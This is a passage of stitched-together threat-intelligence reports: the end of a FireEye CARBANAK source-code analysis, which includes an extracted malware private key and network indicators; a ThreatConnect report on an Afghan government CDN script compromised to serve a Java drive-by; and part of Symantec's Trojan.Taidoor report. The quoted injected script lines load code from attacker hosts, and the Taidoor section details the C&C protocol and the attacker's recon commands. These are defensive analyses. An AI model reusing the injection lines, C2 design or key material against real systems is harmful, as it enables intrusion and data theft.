]com 2019-04-24T07:44:30 213.227.155.8:443  2019-04-24T04:33:52 94.156.133.69:443  2018-11-15T10:27:07 8/14 https://twitter.com/mrdavi51 https://t.co/zZYRgPvHVr https://twitter.com/mrdavi51/status/1121038442710949891?ref_srctwsrc5Etfw 185.174.172.241:443 vds9992.hyperhost[.
]name 2019-04-27T13:24:36 109.230.199.227:443  2019-04-27T13:24:36 Table 4: Recent Test Company certificate use While these IPs have not been observed in any CARBANAK activity, this may be an indication of a common developer or a shared toolkit used for testing various malware.
Several of these IPs have been observed hosting Cobalt Strike BEACON payloads and METERPRETER listeners.
Virtual Private Server (VPS) IPs may change hands frequently and additional malicious activity hosted on these IPs, even in close time proximity, may not be associated with the same users.
I also parsed an unprotected private key from the source code dump.
Figure 4 and Table 5 show the private key parameters at a glance and in detail, respectively.
Figure 4: Parsed 512-bit private key 9/14 Field Value bType 7 bVersion 2 aiKeyAlg 0xA400 (CALG_RSA_KEYX)  RSA public key exchange algorithm Magic RSA2 Bitlen 512 PubExp 65537 Modulus 0B CA 8A 13 FD 91 E4 72 80 F9 5F EE 38 BC 2E ED 20 5D 54 03 02 AE D6 90 4B 6A 6F AE 7E 06 3E 8C EA A8 15 46 9F 3E 14 20 86 43 6F 87 BF AE 47 C8 57 F5 1F D0 B7 27 42 0E D1 51 37 65 16 E4 93 CB P 8B 01 8F 7D 1D A2 34 AE CA B6 22 EE 41 4A B9 2C E0 05 FA D0 35 B2 BF 9C E6 7C 6E 65 AC AE 17 EA Q 81 69 AB 3D D7 01 55 7A F8 EE 3C A2 78 A5 1E B1 9A 3B 83 EC 2F F1 F7 13 D8 1A B3 DE DF 24 A1 DE Dp B5 C7 AE 0F 46 E9 02 FB 4E A2 A5 36 7F 2E ED A4 9E 2B 0E 57 F3 DB 11 66 13 5E 01 94 13 34 10 CB Dq 81 AC 0D 20 14 E9 5C BF 4B 08 54 D3 74 C4 57 EA C3 9D 66 C9 2E 0A 19 EA C1 A3 78 30 44 52 B2 9F 10/14 Iq C2 D2 55 32 5E 7D 66 4C 8B 7F 02 82 0B 35 45 18 24 76 09 2B 56 71 C6 63 C4 C5 87 AD ED 51 DA 2 D 01 6A F3 FA 6A F7 34 83 75 C6 94 EB 77 F1 C7 BB 7C 68 28 70 4D FB 6A 67 03 AE E2 D8 8B E9 E8 E0 2A 0F FB 39 13 BD 1B 46 6A D9 98 EA A6 3E 63 A8 2F A3 BD B3 E5 D6 85 98 4D 1C 06 2A AD 76 07 49 Table 5: Private key parameters I found a value named PUBLIC_KEY defined in a configuration header, with comments indicating it was for debugging purposes.
The parsed values are shown in Table 6.
Field Value bType 6 bVersion 2 aiKeyAlg 0xA400 (CALG_RSA_KEYX)  RSA public key exchange algorithm Magic RSA1 Bitlen 512 PubExp 65537 Modulus 0B CA 8A 13 FD 91 E4 72 80 F9 5F EE 38 BC 2E ED 20 5D 54 03 02 AE D6 90 4B 6A 6F AE 7E 06 3E 8C EA A8 15 46 9F 3E 14 20 86 43 6F 87 BF AE 47 C8 57 F5 1F D0 B7 27 42 0E D1 51 37 65 16 E4 93 CB 11/14 Table 6: Key parameters for PUBLIC_KEY defined in configuration header Network Based Indicators The source code and binaries contained multiple Network-Based Indicators (NBIs) having significant overlap with CARBANAK backdoor activity and FIN7 operations previously observed and documented by FireEye.
Table 7 shows these indicators along with the associated FireEye public documentation.
This includes the status of each NBI as it was encountered (active in source code, commented out, or compiled into a binary).
Domain names are de-fanged to prevent accidental resolution or interaction by browsers, chat clients, etc.
NBI Status Threat Group Association comixed[.
]org Commented out Earlier CARBANAK activity 194.146.180[.
]40 Commented out Earlier CARBANAK activity aaaabbbbccccc[.
]org Active stats10-google[.
]com Commented out FIN7 192.168.0[.
]100:700 Active 80.84.49[.
]50:443 Commented out 52.11.125[.
]44:443 Commented out 85.25.84[.
]223 Commented out qwqreererwere[.
]com Active 12/14 https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html akamai-technologies[.
]org Commented out Earlier CARBANAK activity 192.168.0[.
]100:700 Active 37.1.212[.
]100:700 Commented out 188.138.98[.
]105:710 Commented out Earlier CARBANAK activity hhklhlkhkjhjkjk[.
]org Compiled 192.168.0[.
]100:700 Compiled aaa.stage.4463714.news.meteonovosti[.
]info Compiled DNS infrastructure overlap with later FIN7 associated POWERSOURCE activity 193.203.48[.
]23:800 Active Earlier CARBANAK activity Table 7: NBIs and prevously observed activity Four of these TCP endpoints (80.84.49[.
]50:443, 52.11.125[.
]44:443, 85.25.84[.
]223, and 37.1.212[.
]100:700) were new to me, although some have been documented elsewhere.
Conclusion Our analysis of this source code dump confirmed it was CARBANAK and turned up a few new and interesting data points.
We were able to notify vendors about disclosures that specifically targeted their security suites.
The previously documented NBIs, Windows API function resolution, backdoor command hash values, usage of Windows cabinet file APIs, and other artifacts associated with CARBANAK all match, and as they say, if the shoe fits, wear it.
Interestingly though, the project itself isnt called CARBANAK or even Anunak as the information security community has come to call it based on the string artifacts found within the malware.
The authors mainly refer to the malware as bot in the Visual Studio project, filenames, source code comments, output binaries, user interfaces, and manuals.
The breadth and depth of this analysis was a departure from the usual requests we receive 13/14 https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html https://www.rsa.com/content/dam/en/white-paper/the-carbanak-fin7-syndicate.pdf on the FLARE team.
The journey included learning some Russian, searching through a hundred thousand of lines of code for new information, and analyzing a few dozen binaries.
In the end, Im thankful I had the opportunity to take this request.
In the next post, Tom Bennett takes the reins to provide a retrospective on his and Barry Vengeriks previous analysis in light of the source code.
Part Four of CARBANAK Week is available as well.
Previous Post Next Post 14/14 https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-four-desktop-video-player.html https://www.fireeye.com/content/fireeye-www/en_US/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html https://www.fireeye.com/content/fireeye-www/en_US/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html CARBANAK Week Part Two: Continuing the CARBANAK Source Code Analysis Threat Research Antivirus Evasions Author Characterization Source Code Survey Exploits Secrets Network Based Indicators Conclusion
Operation Poisoned Helmand In this day and age of interconnected cloud services and distributed content delivery networks (CDNs), it is important for both CDN service providers and security professionals alike to recognize and understand the risks that these systems can introduce within an modern enterprise.
For organizations within both public and private sectors that leverage CDN platforms to dynamically deliver web content, it is important that the content is also routinely monitored.
Otherwise, malicious third-party content can be loaded into a target organizations website without their knowledge, delivering untold risks to unwitting visitors.
Afghan Government Watering Hole The ThreatConnect Intelligence Research Team (TCIRT) recently observed a targeted cross-site scripting (XSS) drive-by attack that leveraged a single content delivery network resource to distribute a malicious Java applet via nearly all of the major official Government of Afghanistan websites.
The compromised CDN resource in question is a JavaScript file hosted at [http:]//cdn.afghanistan[.
]af/scripts/gop-script.js The domain cdn.afghanistan[.
]af is a legitimate CDN site used by the Afghan Ministry of Communications and IT (MCIT) to host web content that is displayed and used on many official gov.af websites.
http://www.threatconnect.com/why_threat_connect/threatconnect_intelligence_research_team http://www.threatconnect.com/news/wp-content/uploads/2014/12/gop_script_copy.jpg The javascript URL ([http:]//cdn.afghanistan[.
]af/scripts/gop-script.js) is called from numerous official Afghan Government websites, including the following: [http:]//canberra.afghanistan[.
]af/en (Afghan Embassy in Canberra, Australia) [http:]//herat.gov[.
]af/fa (Herat Province Regional Government) [http:]//mfa.gov[.
]af/en (Ministry of Foreign Affairs) [http:]//moci.gov[.
]af/en (Ministry of Commerce and Industries) [http:]//moe.gov[.
]af/en (Ministry of Education) [http:]//mof.gov[.
]af/en (Ministry of Finance) [http:]//moj.gov[.
]af/fa (Ministry of Justice) [http:]//mowa.gov[.
]af/fa (Ministry of Womens Affairs) [http:]//oaacoms.gov[.
]af/fa (Office of Administrative Affairs and Council of Ministers) It is likely that this javascript URL itself is normally legitimate, but the attackers obtained access to the file and prepended the following malicious JavaScript functions to the beginning of the script: document.write(script srchttp://update.javaplug-in.com/o/j.js\/script) document.write(script srchttp:\/\/neoting.com/pay/danal/PhoneBill/07/1.js \/script) Note that the gov.af websites would not need to be compromised individually for this attack to be delivered to visitors of the sites, because it is the backend CDN infrastructure that is serving up the malicious script.
http://www.threatconnect.com/news/wp-content/uploads/2014/12/cdn_whois.jpg Li Keqiang: A Harbinger of Targeted Exploitation?
Judging by the last modified timestamp on the HTTP response of gop-script.js, which is Tue, 16 Dec 2014 08:07:06 GMT, this malicious CDN compromise was very recent in nature.
In fact, it occurred on the very same day that Chinas Prime Minister Li Keqiang would meet with Abdullah Abdullah, the Chief Executive Officer of Afghanistan in Astana Kazakhstan, they would discuss infrastructure development and bilateral cooperation issues.
Looking at the EXIF metadata of the image of Keqiang meeting with Abdullah that is hosted on the Chinese embassy website we note a Tue, 16 December 2014 07:43:31 modify time as well as the www.news[.
]cn watermark in the bottom righthand corner.
This indicates that the image of Keqiang and Abdullah was likely taken and edited sometime prior to 07:43:31.
While it is ambiguous as to which timezone the edits actually took place in (Kazakhstan or China) we assume the date timestamp references GMT because the press release states In the afternoon of December 15 local time If we assume the photograph and afternoon meeting took place sometime prior to 13:43 Alma-Ata standard time (0600)  this would closely correspond with a 07:43 GMT time stamp.
The modification of the gop-script.js by the attackers at 08:07:06 GMT likely tracks extremely close to a window of a few hours in which Keqiang met with Abdullah.
http://www.china-embassy.org/eng/zgyw/t1220079.htm http://www.threatconnect.com/news/wp-content/uploads/2014/12/gop_last_mod_wget_native_marked.png It is worth mentioning that a similar scenario occurred on June 20th when security researcher PhysicalDrive0 observed a malicious Java file hosted on the Embassy of Greece in Beijing.
At the time, a Chinese delegation led by Keqiang was visiting Greek Prime Minister Antonis Samaras in Athens.
Security researcher R136a1 aka thegoldenmessenger released a followup blog with detailed analysis of the Greek embassy compromise.
While these two separate events are not directly related, additional research into the status of ministerial and official government websites on or around the dates of notable Chinese delegations and or bilateral meetings may yield additional patterns of interest.
Java Malware Overlap Upon closer inspection of the prepended malicious JavaScript code, one will notice the similarity in the update.javaplug-in[.
]com naming convention and URL structure to the C2 domain java-se[.
]com found in the Palo Alto Networks blog post Attacks on East Asia using Google Code for Command and Control and associated with Operation Poisoned Hurricane.
However, the malicious document.write driveby URLs listed above both result in 403 Forbidden errors as of December 18, 2014.
http://www.threatconnect.com/news/wp-content/uploads/2014/12/exif.jpg https://twitter.com/PhysicalDrive0/status/479921770838102017 https://twitter.com/ThreatConnect/status/480070196011737088 http://www.ibtimes.co.uk/why-greece-rolling-out-red-carpet-li-keqiangs-chinese-investment-1453397 https://twitter.com/TheEnergyStory http://thegoldenmessenger.blogspot.de/2014/06/blitzanalysis-embassy-of-greece-beijing.html http://researchcenter.paloaltonetworks.com/2014/08/attacks-east-asia-using-google-code-command-control/ https://www.fireeye.com/blog/threat-research/2014/08/operation-poisoned-hurricane.html While the 403 Forbidden errors may seem like an analytic dead end, the TCIRT also identified a malicious Java applet submission to VirusTotal that confirms the nature of this malicious activity.
This Java applet, SHA1: 388E6F41462774268491D1F121F333618C6A2C9A, has no antivirus detections as of December 21st.
The applet contains its malicious class file at the path jre7u61windows/x86/Update.class.
This class file downloads and decodes an XOR 0xC8 encoded Windows PE executable payload from [http:]//mfa.gov[.
]af/content/images/icon35.png, hosted on the official Afghan Ministry of Foreign Affairs site, which was also affected by the gop-script XSS.
Using historic context archived within ThreatConnect, the TCIRT concluded that this Java applet is from the same source code as the applet SHA1: ADC162DD909283097E72FC50B7AB0E04AB8A2BCC, which was previously observed by the TCIRT at the Operation Poisoned Hurricane related URL [http:]//jre7.java-se[.
]com/java.jar on August 15, 2014.
This applet has the same class path, and downloads an XOR 0xFF encoded payload executable from the URL [https:]//amco- triton.co[.
]jp/js/dl/in.jpg.
Additional indicators and context associated with this particular Java driveby activity can be found in the ThreatConnect Common Community Incident 20140815A: java-se APT Driveby (shared October 02, 2014) The Windows PE Payload The XOR 0xC8 encoded payload downloaded from [http:]//mfa.gov[.
]af/content/images/icon35.png decodes into the Windows PE executable SHA1: 72D72DC1BBA4C5EBC3D6E02F7B446114A3C58EAB This executable is a self-extracting (SFX) Microsoft Cabinet executable that is digitally signed with a valid certificate from OnAndOn Information System Co., Ltd., serial number 1F F7 D8 64 18 1C 55 5E 70 CF DD 3A 59 34 C4 7D.
This same certificate was also used to sign the Java applet that downloaded this malware.
This executable drops the following files: SHA1: 2068260601D60F07829EE0CEDF5A9C636CDB1765 (dllhost.exe) Legitimate Microsoft Debugging Tools for Windows Executable, loads dbgeng.dll SHA1: E2D93ABC4C5EDE41CAF1C0D751A329B884D732A2 (dbgeng.dll) Malicious DLL that loads into the above dllhost.exe, using a similar DLL sideloading technique to that most commonly associated with the PlugX backdoor.
SHA1: 5C8683E3523C7FA81A0166D7D127616B06334E8D (Readme.txt) Malicious encrypted backdoor binary blob loaded by dbgeng.dll https://www.virustotal.com/en/file/4cc859f16cfb51f7cf5d4f24f6a371f321722fbd8a0a45c62c0fac5ac89b86bd/analysis/ https://www.virustotal.com/en/file/3f88dd9f5a93270d94ff40410b050a8e7061b937d7110f13e2132eee18e75991/analysis/ https://app.threatconnect.com/tc/auth/incident/incident.xhtml?incident130728 http://www.rsaconference.com/writable/presentations/file_upload/hta-w04a-dll-side-loading-a-thorn-in-the-side-of-the-anti-virus-_av_-industry.pdf This backdoor connects to the faux Oracle Java themed command and control (C2) domain oracle0876634.javaplug-in[.
]com.
Note that javaplug-in[.
]com is the same root domain found in the compromised version of [http:]//cdn.afghanistan[.
]af/scripts/gop-script.js as [http:]//update.javaplug- in[.
]com/o/j.js, confirming that this Java malware is in fact directly associated with the Afghan MCIT CDN XSS compromise.
Full indicators of this activity and a YARA rule to detect the malware certificate can be found in the ThreatConnect Common Community under Incident 20141217A: Afghan Government Java Driveby and signature APT_OnAndOn_cert.yara.
Conclusion As the US and NATO reduce their troop levels in Afghanistan, China is posturing to fill the gap of influence that the west is leaving behind.
With plans to facilitate multilateral peace talks with the Taliban and establish major transportation projects which aim to bolster the Afghan economy, Beijing has been eyeing Afghanistan as part of its broader South Asian strategy.
By exploiting and co-opting Afghan network infrastructure that is used by multiple ministerial level websites, Chinese intelligence services would be able to widely distribute malicious payloads to a variety of global targets using Afghanistans government websites as a topical and trusted distribution platform, exploiting a single hidden entry point.
This being a variant of a typical watering-hole attack, the attackers will most likely infect victims outside the Afghan government who happened to be browsing any one of the CDN client systems, specifically, partner states involved in the planned troop reduction.
It is important to consider that corporate enterprises are not immune to this tactic, and this is not just a technique that is used by APT threat actors.
If an enterprises website leverages a CDN to speed up content delivery, unintended consequences must be anticipated.
Fortunately, modern browsers now implement a security concept called Content Security Policy.
As long as the servers response headers are configured properly, third party content may be restricted to originating from a narrow whitelist.
Just as attackers distribute malicious content to users en masse or CDN services distribute web content to users, security professionals must be able to quickly distribute actionable Threat Intelligence in formats readable by both humans and machines.
ThreatConnect is the industrys first comprehensive Threat Intelligence Platform that enables enterprises to orchestrate the aggregation of Threat Intelligence from multiple sources, use integrated analytics and a robust API that gives enterprises the control to action their own Threat Intelligence, in the cloud and on premises.
Register for a free account now to view the Common Community shares and more.
https://app.threatconnect.com/tc/auth/incident/incident.xhtml?incident170659 https://app.threatconnect.com/tc/auth/signature/signature.xhtml?signature170665 http://www.threatconnect.com/product/why_threat_connect/what_is_threat_intelligence_platform http://www.threatconnect.com/guide-to-threat-intelligence-platform/ http://www.threatconnect.com/product/threatconnect_cloud http://www.threatconnect.com/product/product_editions
Trojan.
Taidoor: Stephen Doherty and Piotr Krysiuk Targeting Think Tanks Security Response Contents Executive summary............................................ 1 Introduction ....................................................... 1 Technical details ................................................ 3 The email ...................................................... 3 The attachment ............................................ 6 The dropper .................................................. 7 The payload .................................................. 8 Command-and-Control server ..................... 8 Variants ...................................................... 11 Patterns of activity ..................................... 12 Attacker profile .......................................... 12 Conclusion........................................................ 12 Symantec protection ....................................... 13 Appendix .......................................................... 14 Sample files ................................................ 14 Recommendations ..................................... 15 Executive summary Trojan.
Taidoor has been consistently used in targeted attacks dur- ing the last three years.
Since May 2011, there has been a sub- stantial increase in its activity.
Taidoors current targets are pri- marily private industry and influential international think tanks with a direct involvement in US and Taiwanese affairs.
Facilities in the services sector that these organizations may use have also been targeted.
There are a number of additional ancillary targets.
Trojan.
Taidoor dates back to March 2008 and in-field telem- etry has identified Taidoor being used in targeted attack emails since May 2009.
Fourteen distinct versions and three sepa- rate families of the Trojan have been identified to date.
The threat continues to evolve to suit the attackers requirements.
Introduction During 2009, and the majority of 2010, government organizations and a range of private companies were targeted by the Taidoor at- tackers.
However around the beginning of 2011, the attackers fo- cus shifted dramatically, with international think tanks, the manu- facturing industry, and defense contractors who have interests in Taiwan consistently being targeted.
The chart below illustrates the volumes and the industries targeted using Taidoor over the last three years.
The shift in targets is clearly portrayed in figure 1.
http://www.symantec.com/security_response/writeup.jsp?docid2011-072816-0504-99 Trojan.
Taidoor: Targeting Think Tanks Page 2 Security Response In 2011 the US had been involved in a variety of discussions with Taiwan, the most public of which was in relation to the upgrade of the Taiwanese Air Force.
Around the same time Taidoor started to almost exclusively target in- dividuals from influential think tanks, specifically those who have expertise in South Asian and South-East Asian policy and military strategy.
Although these are not the first attacks on think tanks, the persis- tence and sheer volume of the Taidoor attacks has made them more notable.
A timeline of the attacks highlights the increased volume of targeted Taidoor emails sent between May and October 2011, including their peak during the US-Taiwan Defense Industry Conference that was held September 18-20, 2011, as shown in figure 2.
While Taidoors targets have changed over the years, the attack methodology has remained consistent.
Currently the only known attack vector for Taidoor is through targeted emails.
The email attachments exploit a variety of Figure 1 Targeted Taidoor attacks per industry 2009-2011 Figure 2 Increase of Trojan.
Taidoor targeted attack emails Trojan.
Taidoor: Targeting Think Tanks Page 3 Security Response vulnerabilities, yet the payload Trojan itself has seen little change in terms of functionality.
Taidoor is limited to using publicly disclosed vulnerabilities no zero-day exploits have been seen in use.
This separates Taidoor from more recent high-profile attackssuch as those involving Duqu or the recent attacks on RSAwhere the at- tacks are highly sophisticated and exploit zero-day vulnerabilities.
The Taidoor group appears to play a numbers game when it comes to breaching networks, relying on targeting users running out-of-date, unpatched versions of software for the attacks.
As one particular campaign gathered momentum, the attackers resorted to sending broad and repeated barrages of emails to large groups of individuals at the target organizations in an attempt to compromise the network.
The rest of the document will discuss these attacks in more detail, beginning with a breakdown of the typical stages of a Taidoor attack.
Starting with crafting the targeted email, the focus will then move to the attachment and its components: the Taidoor dropper containing the true payloadan embedded, encrypted back door Trojan offering remote access to the attacker on the compromised computer.
Detailed analysis of the command- and-control (CC) functionality will be revealed, including the observation of hacked third-party servers as part of its infrastructure to forward communications to the attackers.
During the analysis some live interactive ses- sions were captured revealing interaction with a human attacker, and his or her intentions once on the box.
One of these interactive sessions is presented.
The final section provides attributes that may point to the profile of the attackers.
Taidoor is not going away.
Its persistent, its constantly evolving, and the adaptability of the attackers will en- sure that it remains a danger to any organization that falls within its scope.
Technical details The email This is the breach component of Taidoor, which is pivotal to the attack.
Taidoor emails are created with varying degrees of sophistication and are typically employed in a two-pronged attack.
The vast majority of emails used in these recent attacks are sent from mail servers based in Tai- wan and the US, as shown in figure 3.
The coun- try of origin will change depending on the targets of the attack.
For example the mails from France contained subject matter related to the G20 sum- mit in Paris, while those coming from Turkey were directed at targets with Turkish email addresses.
Crafting the email To begin with, the main target of interest is identified.
The content of the email is specifically crafted in order to entice the chosen target into opening it.
The email is then either sent solely to the target of interest or the target of interest plus a group of other personnel working at the same organization.
This second strategy is popular with more recent Taidoor attacks, as it would prove useful in situations where compromising the main target is proving difficult.
Compromising a lower- value target still provides a foothold within the organization from where the attacker can then attempt to move towards the true target.
Figure 3 Mail server country of origin for Taidoor emails Trojan.
Taidoor: Targeting Think Tanks Page 4 Security Response There are two types of content typically found in Taidoor emails.
The first type is simple, requiring little-or-no background research on the target.
The content is general, typically including a catchy Subject line, a funny im- age, a brief message, or a topical subject that may entice the user into opening the malicious attachment, such as that displayed in figure 4.
The second type requires some background research on the intended target.
Far more preparation is required, as the email will need to contain content relevant to the target.
The subject line, the message body and the at- tached document will all contain information that might entice them into reading what is inside the attachment.
The content is typically related to policy or events that the target would be interested in or would likely attend.
The senders email address will also be doctored so that it appears to have come from a reputable source some- one they would probably recognize by name.
This would likely be a co-worker, a speaker at an upcoming event, or a prominent individual in their chosen field.
Figure 4 A generic Taidoor email Trojan.
Taidoor: Targeting Think Tanks Page 5 Security Response Here is an example of a targeted attack that took place on October 24, 2011.
Over the course of the day, targeted mails were sent to 25 individuals working at three separate organizations.
The same malicious file was attached to all the emails however, the subject line and the message content differed.
Examining the malicious attach- ment we could see it was identical for each email.
Here are the four subject lines used in these emails, followed by an example email: Fwd: Panetta criticizes North Korea for reckless acts Panetta criticizes North   for reckless acts Returned mail: see transcript for details Warning: could not send message for past 4 hours Out of the 25 emails, 22 were sent through a Taiwanese mail server.
They targeted individuals working at an influential international think tank located in the US and were sent in quick succession.
Later that day two more emails containing an identical attachment were sent through a mail server located in the US.
However this time the emails targeted three prominent figures working at three separate organizations: one located in the US (the think tank that was targeted in the earlier batch of emails) and two others in Germany.
These three targets are subject experts on military strategy and policy in South-East Asia.
This tactic is typical of Taidoor, as mentioned earlier, where one of these targets appears to be the real target of interest and the rest appear to be of lesser interest, but could offer up useful information or be used as a stepping stone toward the true target.
Figure 5 An targeted Taidoor email Trojan.
Taidoor: Targeting Think Tanks Page 6 Security Response Determining who the targets of interest are is straightforward when examining the frequency of targeted emails sent to individuals.
As an example, a target of interest at one of these organizations is referred to as Mr. X. Mr. X was sent up to 23 targeted Taidoor emails in June 2011 a substantial increase from previous months.
This individual was consistently targeted for over nine monthsby far the most targeted individual.
Such focus demonstrates the persistence of the Taidoor attackers.
The repeated attempts indicate that this target has been extremely difficult to com- promise and is considered of high value.
The attachment The sample email above contained a mali- cious PDF attachment however, Taidoor doesnt confine itself to PDFs.
Taidoor has been used in a wide variety of attachments, including malicious Microsoft PowerPoint, Word (.doc and .rtf file formats), and Excel files.
Malicious executables and even DLLs (BID 47741) have been used as part of recent attacks.
In these cases the malicious file is typically contained within an archive.
In more recent attacks Word documents and PDFs have been the most popular at- tack vectors.
However the malicious attach- ments constantly change, with new exploits appearing regularly.
The malicious attachments have used a large set of vulnerabilities over the years, covering all main document formats.
This clearly indicates that this group has both the focus and the intent to keep these exploits relevant and up-to-date.
The group is clearly not afraid to try out new exploits.
The number utilized is remarkable.
Microsoft PowerPoint Malformed Record Remote Code Execution Vulnerabilit y (BID 18382) Microsoft Word Malformed Data Structures Code Execution Vulnerabilit y (BID 21518) Adobe Acrobat and Reader Multiple Arbitrary Code Execution and Security Vulnerabilitie s (BID 27641) Microsoft PowerPoint Sound Data (CVE-2009-1129) Remote Code Execution Vulnerabilit y (BID 34839) Adobe Reader and Acrobat newplayer() JavaScript Method Remote Code Execution Vulnerabilit y (BID 37331) Microsoft Excel FEATHEADER Record Remote Code Execution Vulnerabilit y (BID 36945) Adobe Flash Player CVE-2011-0611 SWF File Remote Memory Corruption Vulnerabilit y (BID 47314) Multiple Microsoft Products DLL Loading Arbitrary Code Execution Vulnerabilit y (BID 47741) Adobe Acrobat and Reader CVE-2011-2100 DLL Loading Arbitrary Code Execution Vulnerabilit y (BID 48252) It is worth noting again that none of the vulnerabilities used by Taidoor are zero-day exploits.
Taidoor simply leverages publicly disclosed security bugs in popular applications and therefore relies on the target or targets to be running unpatched software.
Figure 6 Emails targeting Mr. X (2011) Figure 7 Popularity of attachment type (.dll, .scr, and .exe files are typically contained within archive files) http://www.securityfocus.com/bid/18382 http://www.securityfocus.com/bid/21518 http://www.securityfocus.com/bid/27641 http://www.securityfocus.com/bid/34839 http://www.securityfocus.com/bid/37331 http://www.securityfocus.com/bid/36945 http://www.securityfocus.com/bid/47314 http://www.securityfocus.com/bid/47741 http://www.securityfocus.com/bid/48252 Trojan.
Taidoor: Targeting Think Tanks Page 7 Security Response Figure 8 shows the email attachment types chosen by attackers in 2011.
We can see a marked increase in the use of vulnerable Word documents in the run-up to the US-Taiwan Defense Industry Conference in September 2011.
The group probably found more success with the Word exploit for this period of the campaign.
However they switch to older vulner- abilities if the new ones are proving less successful, which was the case for BID 47741.
The goal of the email is to entice the recipient into opening the malicious attachment.
The goal of the attach- ment is to surreptitiously copy the embedded Trojan onto the users computer and launch it without drawing attention to the fact that the user has just been compromised.
Taking the attachment in the previous targeted email, lets examine what happens if the malicious document is opened.
The PDF is exploiting BID 47314, a vulnerability in Adobe Reader that leads to code execution of the attackers choos- ing.
This code decrypts, extracts, and executes the embedded Taidoor dropper.
It also extracts and presents the clean PDF in figure 9, so as not to alarm the user to any unusual behavior.
The content in the PDF was scraped from an Associated Press article that started to appear on most major news feeds the very day the email was sent: October 24, 2011.
The dropper Once the user has opened the malicious attachment the infection process is set into motion.
Once the dropper is created in the file system, it is executed.
It starts one of the following legitimate processes, after which it will replace this clean, in-memory image with the malicious back door component: services.exe svchost.exe Figure 8 Breakdown of malicious attachment types for 2011 (.dll, .scr, and .exe files are typically contained within archive files) Figure 9 Taidoor PDF attachment Trojan.
Taidoor: Targeting Think Tanks Page 8 Security Response The back door component is normally present in the form of either an encrypted resource entry or as an encrypt- ed binary array within the code section of the dropper.
Figure 10 helps illustrate the layout of each file and the steps taken once the malicious attachment is launched.
The payload The final payload is now in place.
This is the back door component that communicates with the CC server.
The back door stores configuration information in the .data section which is setup by the attackers.
This configu- ration information contains up to three CC servers, up to three ports per server, and a default sleep interval.
Once the back door is successfully installed on the system it will attempt to communicate with the CC server using the HTTP protocol.
Let us examine this in more detail.
Command-and-Control server Protocol Trojan.
Taidoor communicates with the controlling server using the HTTP protocol with requests using the follow- ing format and detailed in table 1: http://[CC _ SERVER]:[PORT]/[RANDOM].php?id[RAND][ID][OPTIONAL] Figure 10 Taidoor file layout PDF Exploiting BID 47314 Clean PDF Encrypted Taidoor Decrypts Taidoor dropper Encrypted back door component Back door Injects Encrypted CC servers services.exe / svchost.exe Table 1 HTTP communication format Variable Description [CC_SERVER] Up to three configurable CC servers [PORT] Up to three configurable ports [RANDOM_PATH] Five random, lower-case letters.
Recreated every time Taidoor initializes or fails to contact its configured servers.
[
RAND] Six-decimal, random number recreated for each request.
The values are between 0-32767 (limited by RAND_MAX).
[
ID] Twelve characters derived from MAC address of the compromised computer.
[
OPTIONAL] Is ext[FILENAME], which may be present in requests, related to specific commands.
Trojan.
Taidoor: Targeting Think Tanks Page 9 Security Response When the message body is present in a request or response, it is encrypted using RC4.
The RC4 key is simply a string representation of the compromised computers adapter address (e.g.
01-27-89-AB-CD-EF).
This means that the CC server must be able to compute the RC4 key from the [ID] present in the HTTP request.
Because such an [ID] is unique for each computer it could also be used by the controlling server for tracking purposes.
Trojan.
Taidoor uses an algorithm when generating the ID field.
First it obtains a string representation of the adapter address.
A default value of 01-01-01-01-01-01 is used if it fails to obtain the adapter address.
It strips the - characters from the string and then increments the value of each character.
If it encounters 9 this value will be set to 0.
For example 01-27-89-AB-CD-EF would convert to 123890BCDEFG Trojan.
Taidoor periodically queries the CC server for commands by sending GET requests with an empty mes- sage body.
This period is configurable by the attacker and is stored, along with the CC information, in the data section.
Values for this sleep interval has been seen as low as two and as high as 600 seconds.
The server responds with RC4-encrypted commands in the message body.
The first byte of decrypted message body is the command ID, followed by an optional parameter.
Table 2 details the commands available to the attacker.
Live interactive session Our honeypots were able to capture some live, interactive sessions of the attackers in action.
Table 3 presents logs of the activities of an attacker during one of these sessions on September 16, 2011.
This is the first 60 sec- onds of the attacker in action, logged from 02:23:06 UTC.
Table 2 Taidoor CC commands ID Format Command Details 2 DWORD Set Delay Period in milliseconds for the sleep time in between requests.
3 STRING Execute Command Command to be executed.
The generated output is collected in a temporary file and sent in a separate POST request.
The POST request does not contain any indication about the corresponding command.
4 STRING Download and Execute The URL location to download a file, which is saved to the Temp folder and ex- ecuted.
5 STRING Download File Path of the file to be created.
The content of the file is downloaded using a separate GET request with [OPTIONAL] set to ext[BASE64_ENCODED_FILENAME] 7 STRING Upload File Parameter is the path of the file to be uploaded.
Content of the file is uploaded using separate POST request with [OPTIONAL] set to ext[BASE64_ENCODED_FILE- NAME] All other commands are IDs treated as pings.
A strong indicator this back door is designed for human operators.
Table 3 Example of attacker activities through back door Timeline Commands Received 2011-09-16 02:23:06 UTC: RECV 2011-09-16 02:23:15 UTC: RECV 2011-09-16 02:23:23 UTC: RECV 2011-09-16 02:23:31 UTC: RECV 2011-09-16 02:23:52 UTC: RECV 2011-09-16 02:24:00 UTC: RECV 2011-09-16 02:24:12 UTC: RECV 2011-09-16 02:24:25 UTC: RECV 2011-09-16 02:24:32 UTC: RECV [Ping] [Set sleep interval to 1 second] cmd /c net start cmd /c dir c:\docume1\ cmd /c dir c:\docume1\CurrentUser\recent /od cmd /c dir c:\progra1\ cmd /c dir c:\docume1\CurrentUser\desktop /od cmd /c netstat n cmd /c net use Trojan.
Taidoor: Targeting Think Tanks Page 10 Security Response Before the attacker starts an interactive command shell, Taidoor is instructed to reduce the sleep interval to one second.
This improves Trojan.
Taidoors response time to subsequent commands sent by the attacker.
Over the next 60 seconds the attacker will look for the following information about the compromised host: Currently running services.
Contents of the Documents and Settings folder: What users are on the system?
Contents of the Recently Used Documents item.
